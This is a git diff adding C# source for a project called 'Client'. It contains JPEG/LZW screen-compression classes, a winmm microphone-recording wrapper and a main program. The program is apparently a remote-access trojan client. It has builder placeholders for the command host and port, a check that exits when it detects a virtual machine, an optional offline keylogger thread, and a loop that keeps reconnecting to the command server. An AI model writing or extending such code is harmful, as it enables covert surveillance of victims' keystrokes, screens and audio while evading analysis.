using (MemoryStream m = new MemoryStream(buffer))
|
||||
{
|
||||
using (Bitmap tmp = (Bitmap)Image.FromStream(m))
|
||||
{
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
}
|
||||
}
|
||||
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
}
|
||||
}
|
||||
return decodedBitmap;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,61 @@
|
|||
using System;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
|
||||
namespace Client.StreamLibrary.src
|
||||
{
|
||||
public class JpgCompression
|
||||
{
|
||||
private EncoderParameter parameter;
|
||||
private ImageCodecInfo encoderInfo;
|
||||
private EncoderParameters encoderParams;
|
||||
|
||||
public JpgCompression(int Quality)
|
||||
{
|
||||
parameter = new EncoderParameter(Encoder.Quality, Quality);
|
||||
encoderInfo = GetEncoderInfo("image/jpeg");
|
||||
encoderParams = new EncoderParameters(2);
|
||||
encoderParams.Param[0] = parameter;
|
||||
encoderParams.Param[1] = new EncoderParameter(Encoder.Compression, (long) 2);
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
if (encoderParams != null)
|
||||
encoderParams.Dispose();
|
||||
}
|
||||
|
||||
public byte[] Compress(Bitmap bmp)
|
||||
{
|
||||
using (var stream = new MemoryStream())
|
||||
{
|
||||
bmp.Save(stream, encoderInfo, encoderParams);
|
||||
return stream.ToArray();
|
||||
}
|
||||
}
|
||||
|
||||
public void Compress(Bitmap bmp, ref Stream TargetStream)
|
||||
{
|
||||
bmp.Save(TargetStream, encoderInfo, encoderParams);
|
||||
}
|
||||
|
||||
private ImageCodecInfo GetEncoderInfo(string mimeType)
|
||||
{
|
||||
var imageEncoders = ImageCodecInfo.GetImageEncoders();
|
||||
var num2 = imageEncoders.Length - 1;
|
||||
for (var i = 0; i <= num2; i++)
|
||||
if (imageEncoders[i].MimeType == mimeType)
|
||||
return imageEncoders[i];
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,49 @@
|
|||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
|
||||
namespace Client.StreamLibrary.src
|
||||
{
|
||||
public class LzwCompression
|
||||
{
|
||||
private EncoderParameter parameter;
|
||||
private ImageCodecInfo encoderInfo;
|
||||
private EncoderParameters encoderParams;
|
||||
|
||||
public LzwCompression(int Quality)
|
||||
{
|
||||
parameter = new EncoderParameter(Encoder.Quality, Quality);
|
||||
encoderInfo = GetEncoderInfo("image/jpeg");
|
||||
encoderParams = new EncoderParameters(2);
|
||||
encoderParams.Param[0] = parameter;
|
||||
encoderParams.Param[1] = new EncoderParameter(Encoder.Compression, (long) EncoderValue.CompressionLZW);
|
||||
}
|
||||
|
||||
public byte[] Compress(Bitmap bmp, byte[] AdditionInfo = null)
|
||||
{
|
||||
using (var stream = new MemoryStream())
|
||||
{
|
||||
if (AdditionInfo != null) stream.Write(AdditionInfo, 0, AdditionInfo.Length);
|
||||
|
||||
bmp.Save(stream, encoderInfo, encoderParams);
|
||||
return stream.ToArray();
|
||||
}
|
||||
}
|
||||
|
||||
public void Compress(Bitmap bmp, Stream stream, byte[] AdditionInfo = null)
|
||||
{
|
||||
if (AdditionInfo != null) stream.Write(AdditionInfo, 0, AdditionInfo.Length);
|
||||
|
||||
bmp.Save(stream, encoderInfo, encoderParams);
|
||||
}
|
||||
|
||||
private ImageCodecInfo GetEncoderInfo(string mimeType)
|
||||
{
|
||||
var imageEncoders = ImageCodecInfo.GetImageEncoders();
|
||||
for (var i = 0; i < imageEncoders.Length; i++)
|
||||
if (imageEncoders[i].MimeType == mimeType)
|
||||
return imageEncoders[i];
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,20 @@
|
|||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace Client.StreamLibrary.src
|
||||
{
|
||||
public class NativeMethods
|
||||
{
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count);
|
||||
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count);
|
||||
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
public static extern int memcpy(IntPtr dst, IntPtr src, uint count);
|
||||
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
public static extern unsafe int memcpy(void* dst, void* src, uint count);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,217 @@
|
|||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace WaveLib
|
||||
{
|
||||
/// <summary>
|
||||
/// Win32
|
||||
/// </summary>
|
||||
public static unsafe class Win32
|
||||
{
|
||||
//Konstanten
|
||||
public const int WAVE_MAPPER = -1;
|
||||
|
||||
public const int WT_EXECUTEDEFAULT = 0x00000000;
|
||||
public const int WT_EXECUTEINIOTHREAD = 0x00000001;
|
||||
public const int WT_EXECUTEINTIMERTHREAD = 0x00000020;
|
||||
public const int WT_EXECUTEINPERSISTENTTHREAD = 0x00000080;
|
||||
|
||||
public const int TIME_ONESHOT = 0;
|
||||
public const int TIME_PERIODIC = 1;
|
||||
|
||||
/// <summary>
|
||||
/// WAVEOUTCAPS
|
||||
/// </summary>
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 4, CharSet = CharSet.Auto)]
|
||||
public struct WAVEOUTCAPS
|
||||
{
|
||||
public short wMid;
|
||||
public short wPid;
|
||||
public int vDriverVersion;
|
||||
|
||||
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 32)]
|
||||
public string szPname;
|
||||
|
||||
public uint dwFormats;
|
||||
public short wChannels;
|
||||
public short wReserved;
|
||||
public int dwSupport;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// WAVEINCAPS
|
||||
/// </summary>
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 4, CharSet = CharSet.Auto)]
|
||||
public struct WAVEINCAPS
|
||||
{
|
||||
public short wMid;
|
||||
public short wPid;
|
||||
public int vDriverVersion;
|
||||
|
||||
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 32)]
|
||||
public string szPname;
|
||||
|
||||
public uint dwFormats;
|
||||
public short wChannels;
|
||||
public short wReserved;
|
||||
public int dwSupport;
|
||||
}
|
||||
|
||||
public enum WaveFormats
|
||||
{
|
||||
Pcm = 1,
|
||||
Float = 3
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public class WaveFormat
|
||||
{
|
||||
public short wFormatTag;
|
||||
public short nChannels;
|
||||
public int nSamplesPerSec;
|
||||
public int nAvgBytesPerSec;
|
||||
public short nBlockAlign;
|
||||
public short wBitsPerSample;
|
||||
public short cbSize;
|
||||
|
||||
public WaveFormat(int rate, int bits, int channels)
|
||||
{
|
||||
wFormatTag = (short) WaveFormats.Pcm;
|
||||
nChannels = (short) channels;
|
||||
nSamplesPerSec = rate;
|
||||
wBitsPerSample = (short) bits;
|
||||
cbSize = 0;
|
||||
|
||||
nBlockAlign = (short) (channels * (bits / 8));
|
||||
nAvgBytesPerSec = nSamplesPerSec * nBlockAlign;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// MMRESULT
|
||||
/// </summary>
|
||||
public enum MMRESULT : uint
|
||||
{
|
||||
MMSYSERR_NOERROR = 0,
|
||||
MMSYSERR_ERROR = 1,
|
||||
MMSYSERR_BADDEVICEID = 2,
|
||||
MMSYSERR_NOTENABLED = 3,
|
||||
MMSYSERR_ALLOCATED = 4,
|
||||
MMSYSERR_INVALHANDLE = 5,
|
||||
MMSYSERR_NODRIVER = 6,
|
||||
MMSYSERR_NOMEM = 7,
|
||||
MMSYSERR_NOTSUPPORTED = 8,
|
||||
MMSYSERR_BADERRNUM = 9,
|
||||
MMSYSERR_INVALFLAG = 10,
|
||||
MMSYSERR_INVALPARAM = 11,
|
||||
MMSYSERR_HANDLEBUSY = 12,
|
||||
MMSYSERR_INVALIDALIAS = 13,
|
||||
MMSYSERR_BADDB = 14,
|
||||
MMSYSERR_KEYNOTFOUND = 15,
|
||||
MMSYSERR_READERROR = 16,
|
||||
MMSYSERR_WRITEERROR = 17,
|
||||
MMSYSERR_DELETEERROR = 18,
|
||||
MMSYSERR_VALNOTFOUND = 19,
|
||||
MMSYSERR_NODRIVERCB = 20,
|
||||
WAVERR_BADFORMAT = 32,
|
||||
WAVERR_STILLPLAYING = 33,
|
||||
WAVERR_UNPREPARED = 34
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum WaveHdrFlags : uint
|
||||
{
|
||||
WHDR_DONE = 1,
|
||||
WHDR_PREPARED = 2,
|
||||
WHDR_BEGINLOOP = 4,
|
||||
WHDR_ENDLOOP = 8,
|
||||
WHDR_INQUEUE = 16
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum WaveProcFlags
|
||||
{
|
||||
CALLBACK_NULL = 0,
|
||||
CALLBACK_FUNCTION = 0x30000,
|
||||
CALLBACK_EVENT = 0x50000,
|
||||
CALLBACK_WINDOW = 0x10000,
|
||||
CALLBACK_THREAD = 0x20000,
|
||||
WAVE_FORMAT_QUERY = 1,
|
||||
WAVE_MAPPED = 4,
|
||||
WAVE_FORMAT_DIRECT = 8
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum HRESULT : long
|
||||
{
|
||||
S_OK = 0L,
|
||||
S_FALSE = 1L
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// WAVEHDR
|
||||
/// </summary>
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
|
||||
public struct WAVEHDR
|
||||
{
|
||||
public IntPtr lpData; // pointer to locked data buffer
|
||||
public uint dwBufferLength; // length of data buffer
|
||||
public uint dwBytesRecorded; // used for input only
|
||||
public IntPtr dwUser; // for client's use
|
||||
public WaveHdrFlags dwFlags; // assorted flags (see defines)
|
||||
public uint dwLoops; // loop control counter
|
||||
public IntPtr lpNext; // PWaveHdr reserved for driver
|
||||
public IntPtr reserved; // reserved for driver
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// WIM_Messages
|
||||
/// </summary>
|
||||
public enum WIM_Messages
|
||||
{
|
||||
OPEN = 0x03BE,
|
||||
CLOSE = 0x03BF,
|
||||
DATA = 0x03C0
|
||||
}
|
||||
|
||||
public delegate void DelegateWaveInProc(IntPtr hWaveIn, WIM_Messages msg, IntPtr dwInstance, WAVEHDR* pWaveHdr,
|
||||
IntPtr lParam);
|
||||
|
||||
[DllImport("winmm.dll")]
|
||||
public static extern MMRESULT waveInOpen(ref IntPtr hWaveIn, int deviceId, WaveFormat wfx,
|
||||
DelegateWaveInProc dwCallBack, int dwInstance, int dwFlags);
|
||||
|
||||
[DllImport("winmm.dll", SetLastError = true)]
|
||||
public static extern MMRESULT waveInStart(IntPtr hWaveIn);
|
||||
|
||||
[DllImport("winmm.dll", SetLastError = true, CharSet = CharSet.Auto)]
|
||||
public static extern uint waveInGetDevCaps(int index, ref WAVEINCAPS pwic, int cbwic);
|
||||
|
||||
[DllImport("winmm.dll", SetLastError = true)]
|
||||
public static extern uint waveInGetNumDevs();
|
||||
|
||||
[DllImport("winmm.dll", SetLastError = true, CharSet = CharSet.Auto)]
|
||||
public static extern uint waveOutGetDevCaps(int index, ref WAVEOUTCAPS pwoc, int cbwoc);
|
||||
|
||||
[DllImport("winmm.dll", SetLastError = true)]
|
||||
public static extern uint waveOutGetNumDevs();
|
||||
|
||||
[DllImport("winmm.dll", EntryPoint = "waveInStop", SetLastError = true)]
|
||||
public static extern MMRESULT waveInStop(IntPtr hWaveIn);
|
||||
|
||||
[DllImport("winmm.dll", EntryPoint = "waveInReset", SetLastError = true)]
|
||||
public static extern MMRESULT waveInReset(IntPtr hWaveIn);
|
||||
|
||||
[DllImport("winmm.dll", SetLastError = true)]
|
||||
public static extern MMRESULT waveInPrepareHeader(IntPtr hWaveIn, WAVEHDR* pwh, int cbwh);
|
||||
|
||||
[DllImport("winmm.dll", SetLastError = true)]
|
||||
public static extern MMRESULT waveInUnprepareHeader(IntPtr hWaveIn, WAVEHDR* pwh, int cbwh);
|
||||
|
||||
[DllImport("winmm.dll", EntryPoint = "waveInAddBuffer", SetLastError = true)]
|
||||
public static extern MMRESULT waveInAddBuffer(IntPtr hWaveIn, WAVEHDR* pwh, int cbwh);
|
||||
|
||||
[DllImport("winmm.dll", SetLastError = true)]
|
||||
public static extern MMRESULT waveInClose(IntPtr hWaveIn);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,23 @@
|
|||
using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace WaveLib
|
||||
{
|
||||
public class WinSound
|
||||
{
|
||||
public static List<string> GetWaveInDeviceNames()
|
||||
{
|
||||
var num = Win32.waveInGetNumDevs();
|
||||
|
||||
var names = new List<string>();
|
||||
var caps = new Win32.WAVEINCAPS();
|
||||
for (var i = 0; i < num; i++)
|
||||
{
|
||||
var hr = (Win32.HRESULT) Win32.waveInGetDevCaps(i, ref caps, Marshal.SizeOf(typeof(Win32.WAVEINCAPS)));
|
||||
if (hr == Win32.HRESULT.S_OK) names.Add(caps.szPname);
|
||||
}
|
||||
|
||||
return names;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,233 @@
|
|||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
using static WaveLib.Win32;
|
||||
|
||||
namespace WaveLib
|
||||
{
|
||||
public unsafe class WinSoundRecord
|
||||
{
|
||||
private IntPtr hWaveIn;
|
||||
private string WaveInDeviceName = "";
|
||||
private int SamplesPerSecond = 8000;
|
||||
private int BitsPerSample = 16;
|
||||
private int Channels = 1;
|
||||
private int BufferCount = 8;
|
||||
private int BufferSize = 1024;
|
||||
private WAVEHDR*[] WaveInHeaders;
|
||||
private WAVEHDR* CurrentRecordedHeader;
|
||||
private DelegateWaveInProc delegateWaveInProc;
|
||||
private Thread ThreadRecording;
|
||||
private AutoResetEvent AutoResetEventDataRecorded = new AutoResetEvent(false);
|
||||
|
||||
public delegate void DelegateDataRecorded(byte[] bytes);
|
||||
|
||||
public event DelegateDataRecorded DataRecorded;
|
||||
|
||||
public WinSoundRecord()
|
||||
{
|
||||
delegateWaveInProc = waveInProc;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// StartWaveIn
|
||||
/// </summary>
|
||||
/// <returns></returns>
|
||||
private bool OpenWaveIn()
|
||||
{
|
||||
var fmt = new WaveFormat(44100, 16, 1);
|
||||
|
||||
var hr = waveInOpen(ref hWaveIn, -1, fmt, delegateWaveInProc, 0, (int) WaveProcFlags.CALLBACK_FUNCTION);
|
||||
|
||||
if (hWaveIn == IntPtr.Zero)
|
||||
return false;
|
||||
|
||||
GCHandle.Alloc(hWaveIn, GCHandleType.Pinned);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
public bool Open(string deviceName, int samplesPerSecond, int bitsPerSample, int channels, int bufferSize,
|
||||
int bufferCount)
|
||||
{
|
||||
WaveInDeviceName = deviceName;
|
||||
SamplesPerSecond = samplesPerSecond;
|
||||
BitsPerSample = bitsPerSample;
|
||||
Channels = channels;
|
||||
BufferSize = bufferSize;
|
||||
BufferCount = bufferCount;
|
||||
|
||||
if (OpenWaveIn())
|
||||
if (CreateWaveInHeaders())
|
||||
{
|
||||
var hr = waveInStart(hWaveIn);
|
||||
if (hr == MMRESULT.MMSYSERR_NOERROR)
|
||||
{
|
||||
StartThreadRecording();
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// StartThreadRecording
|
||||
/// </summary>
|
||||
private void StartThreadRecording()
|
||||
{
|
||||
ThreadRecording = new Thread(OnThreadRecording)
|
||||
{
|
||||
Name = "Recording",
|
||||
Priority = ThreadPriority.Highest
|
||||
};
|
||||
ThreadRecording.Start();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// OnThreadRecording
|
||||
/// </summary>
|
||||
private void OnThreadRecording()
|
||||
{
|
||||
while (true)
|
||||
{
|
||||
AutoResetEventDataRecorded.WaitOne();
|
||||
|
||||
|
||||
if (CurrentRecordedHeader->dwBytesRecorded > 0)
|
||||
{
|
||||
var bytes = new byte[CurrentRecordedHeader->dwBytesRecorded];
|
||||
Marshal.Copy(CurrentRecordedHeader->lpData, bytes, 0, (int) CurrentRecordedHeader->dwBytesRecorded);
|
||||
|
||||
DataRecorded?.Invoke(bytes);
|
||||
|
||||
for (var i = 0; i < WaveInHeaders.Length; i++)
|
||||
if ((WaveInHeaders[i]->dwFlags & WaveHdrFlags.WHDR_INQUEUE) == 0)
|
||||
{
|
||||
var hr = waveInAddBuffer(hWaveIn, WaveInHeaders[i], sizeof(WAVEHDR));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// CreateWaveInHeaders
|
||||
/// </summary>
|
||||
/// <param name="count"></param>
|
||||
/// <param name="bufferSize"></param>
|
||||
/// <returns></returns>
|
||||
private bool CreateWaveInHeaders()
|
||||
{
|
||||
WaveInHeaders = new WAVEHDR*[BufferCount];
|
||||
var createdHeaders = 0;
|
||||
|
||||
for (var i = 0; i < BufferCount; i++)
|
||||
{
|
||||
WaveInHeaders[i] = (WAVEHDR*) Marshal.AllocHGlobal(sizeof(WAVEHDR));
|
||||
|
||||
WaveInHeaders[i]->dwLoops = 0;
|
||||
WaveInHeaders[i]->dwUser = IntPtr.Zero;
|
||||
WaveInHeaders[i]->lpNext = IntPtr.Zero;
|
||||
WaveInHeaders[i]->reserved = IntPtr.Zero;
|
||||
WaveInHeaders[i]->lpData = Marshal.AllocHGlobal(BufferSize);
|
||||
WaveInHeaders[i]->dwBufferLength = (uint) BufferSize;
|
||||
WaveInHeaders[i]->dwBytesRecorded = 0;
|
||||
WaveInHeaders[i]->dwFlags = 0;
|
||||
|
||||
var hr = waveInPrepareHeader(hWaveIn, WaveInHeaders[i], sizeof(WAVEHDR));
|
||||
if (hr == MMRESULT.MMSYSERR_NOERROR)
|
||||
{
|
||||
if (i == 0) hr = waveInAddBuffer(hWaveIn, WaveInHeaders[i], sizeof(WAVEHDR));
|
||||
createdHeaders++;
|
||||
}
|
||||
}
|
||||
|
||||
return createdHeaders == BufferCount;
|
||||
}
|
||||
|
||||
public void Stop()
|
||||
{
|
||||
var hr = waveInStop(hWaveIn);
|
||||
|
||||
var resetCount = 0;
|
||||
while (IsAnyWaveInHeaderInState(WaveHdrFlags.WHDR_INQUEUE) & (resetCount < 20))
|
||||
{
|
||||
hr = waveInReset(hWaveIn);
|
||||
Thread.Sleep(50);
|
||||
resetCount++;
|
||||
}
|
||||
|
||||
FreeWaveInHeaders();
|
||||
hr = waveInClose(hWaveIn);
|
||||
|
||||
AutoResetEventDataRecorded.Set();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// IsAnyWaveInHeaderInState
|
||||
/// </summary>
|
||||
/// <param name="state"></param>
|
||||
/// <returns></returns>
|
||||
private bool IsAnyWaveInHeaderInState(WaveHdrFlags state)
|
||||
{
|
||||
for (var i = 0; i < WaveInHeaders.Length; i++)
|
||||
if ((WaveInHeaders[i]->dwFlags & state) == state)
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// FreeWaveInHeaders
|
||||
/// </summary>
|
||||
private void FreeWaveInHeaders()
|
||||
{
|
||||
if (WaveInHeaders != null)
|
||||
for (var i = 0; i < WaveInHeaders.Length; i++)
|
||||
{
|
||||
var hr = waveInUnprepareHeader(hWaveIn, WaveInHeaders[i], sizeof(WAVEHDR));
|
||||
|
||||
var count = 0;
|
||||
while (count <= 100 && (WaveInHeaders[i]->dwFlags & WaveHdrFlags.WHDR_INQUEUE) ==
|
||||
WaveHdrFlags.WHDR_INQUEUE)
|
||||
{
|
||||
Thread.Sleep(20);
|
||||
count++;
|
||||
}
|
||||
|
||||
if ((WaveInHeaders[i]->dwFlags & WaveHdrFlags.WHDR_INQUEUE) != WaveHdrFlags.WHDR_INQUEUE)
|
||||
if (WaveInHeaders[i]->lpData != IntPtr.Zero)
|
||||
{
|
||||
Marshal.FreeHGlobal(WaveInHeaders[i]->lpData);
|
||||
WaveInHeaders[i]->lpData = IntPtr.Zero;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// waveInProc
|
||||
/// </summary>
|
||||
/// <param name="hWaveIn"></param>
|
||||
/// <param name="msg"></param>
|
||||
/// <param name="dwInstance"></param>
|
||||
/// <param name="wParam"></param>
|
||||
/// <param name="lParam"></param>
|
||||
private void waveInProc(IntPtr hWaveIn, WIM_Messages msg, IntPtr dwInstance, WAVEHDR* pWaveHdr, IntPtr lParam)
|
||||
{
|
||||
switch (msg)
|
||||
{
|
||||
case WIM_Messages.OPEN:
|
||||
break;
|
||||
case WIM_Messages.DATA:
|
||||
CurrentRecordedHeader = pWaveHdr;
|
||||
AutoResetEventDataRecorded.Set();
|
||||
break;
|
||||
case WIM_Messages.CLOSE:
|
||||
AutoResetEventDataRecorded.Set();
|
||||
this.hWaveIn = IntPtr.Zero;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,80 @@
|
|||
using System;
|
||||
using System.IO;
|
||||
using System.Net.Sockets;
|
||||
using System.Net;
|
||||
using System.ServiceProcess;
|
||||
using System.Threading;
|
||||
using Client.HandlePacket;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Security.Principal;
|
||||
|
||||
namespace Client
|
||||
{
|
||||
public class Program
|
||||
{
|
||||
#region Setting
|
||||
|
||||
public static readonly string Version = "0.0.1";
|
||||
#if DEBUG
|
||||
public static readonly string Link = "";
|
||||
public static readonly string Host = "127.0.0.1";
|
||||
public static readonly int Port = 8848;
|
||||
public static readonly string Mutex = "Mutex_Debug";
|
||||
public static readonly string Group = "Debug";
|
||||
public static readonly bool AntiAnalysis = false;
|
||||
public static readonly bool OffLineKeyLogger = false;
|
||||
public static readonly int Sleep = 1000;
|
||||
#else
|
||||
public static readonly string Link = "%Link%";
|
||||
public static readonly string Host = "%Host%";
|
||||
public static readonly int Port = Convert.ToInt32("%Port%");
|
||||
public static readonly string Mutex = "%Mutex%";
|
||||
public static readonly string Group = "%Group%";
|
||||
public static readonly bool AntiAnalysis = Convert.ToBoolean("%AntiAnalysis%");
|
||||
public static readonly bool OffLineKeyLogger = Convert.ToBoolean("%OffLineKeyLogger%");
|
||||
public static readonly int Sleep = Convert.ToInt32("%Sleep%");
|
||||
#endif
|
||||
|
||||
#endregion
|
||||
|
||||
public static string HWID;
|
||||
public static int ClrVersion;
|
||||
public static TCPSocket TCP_Socket;
|
||||
public static bool ClientWorking;
|
||||
public static TcpListener listener;
|
||||
|
||||
public static void Main()
|
||||
{
|
||||
Thread.Sleep(Sleep);
|
||||
|
||||
if (AntiAnalysis && (Helper.Helper.IsVM())) Environment.Exit(114514);
|
||||
|
||||
Start();
|
||||
}
|
||||
|
||||
public static void Start()
|
||||
{
|
||||
ClientWorking = true;
|
||||
HWID = Helper.Helper.GetHWID();
|
||||
ClrVersion = Helper.Helper.GetClrVersion();
|
||||
|
||||
if (!Helper.Helper.CreateMutex()) Environment.Exit(0);
|
||||
|
||||
if (OffLineKeyLogger)
|
||||
{
|
||||
HandleKeylogger.offline = true;
|
||||
new Thread(() => { HandleKeylogger.Run(); }).Start();
|
||||
}
|
||||
|
||||
TCP_Socket = new TCPSocket();
|
||||
TCP_Socket.InitializeClient();
|
||||
while (ClientWorking)
|
||||
{
|
||||
if (!TCP_Socket.IsConnected) TCP_Socket.Reconnect();
|
||||
|
||||
Thread.Sleep(new Random().Next(5000));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,36 @@
|
|||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// 有关程序集的一般信息由以下
|
||||
// 控制。更改这些特性值可修改
|
||||
// 与程序集关联的信息。
|
||||
[assembly: AssemblyTitle("Client")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("Client")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2022")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
// 将 ComVisible 设置为 false 会使此程序集中的类型
|
||||
//对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型
|
||||
//请将此类型的 ComVisible 特性设置为 true。
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
|
||||
[assembly: Guid("4dce3248-0bae-48e4-b165-a8a910bc7a96")]
|
||||
|
||||
// 程序集的版本信息由下列四个值组成:
|
||||
//
|
||||
// 主版本
|
||||
// 次版本
|
||||
// 生成号
|
||||
// 修订号
|
||||
//
|
||||
//可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值
|
||||
//通过使用 "*",如下所示:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
|
@ -0,0 +1,63 @@
|
|||
//------------------------------------------------------------------------------
|
||||
// <auto-generated>
|
||||
// 此代码由工具生成。
|
||||
// 运行时版本:4.0.30319.42000
|
||||
//
|
||||
// 对此文件的更改可能会导致不正确的行为,并且如果
|
||||
// 重新生成代码,这些更改将会丢失。
|
||||
// </auto-generated>
|
||||
//------------------------------------------------------------------------------
|
||||
|
||||
namespace Client.Properties {
|
||||
using System;
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// 一个强类型的资源类,用于查找本地化的字符串等。
|
||||
/// </summary>
|
||||
// 此类是由 StronglyTypedResourceBuilder
|
||||
// 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。
|
||||
// 若要添加或移除成员,请编辑 .ResX 文件,然后重新运行 ResGen
|
||||
// (以 /str 作为命令选项),或重新生成 VS 项目。
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0")]
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
|
||||
internal class Resources {
|
||||
|
||||
private static global::System.Resources.ResourceManager resourceMan;
|
||||
|
||||
private static global::System.Globalization.CultureInfo resourceCulture;
|
||||
|
||||
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
|
||||
internal Resources() {
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 返回此类使用的缓存的 ResourceManager 实例。
|
||||
/// </summary>
|
||||
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
|
||||
internal static global::System.Resources.ResourceManager ResourceManager {
|
||||
get {
|
||||
if (object.ReferenceEquals(resourceMan, null)) {
|
||||
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Client.Properties.Resources", typeof(Resources).Assembly);
|
||||
resourceMan = temp;
|
||||
}
|
||||
return resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 重写当前线程的 CurrentUICulture 属性,对
|
||||
/// 使用此强类型资源类的所有资源查找执行重写。
|
||||
/// </summary>
|
||||
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
|
||||
internal static global::System.Globalization.CultureInfo Culture {
|
||||
get {
|
||||
return resourceCulture;
|
||||
}
|
||||
set {
|
||||
resourceCulture = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,117 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
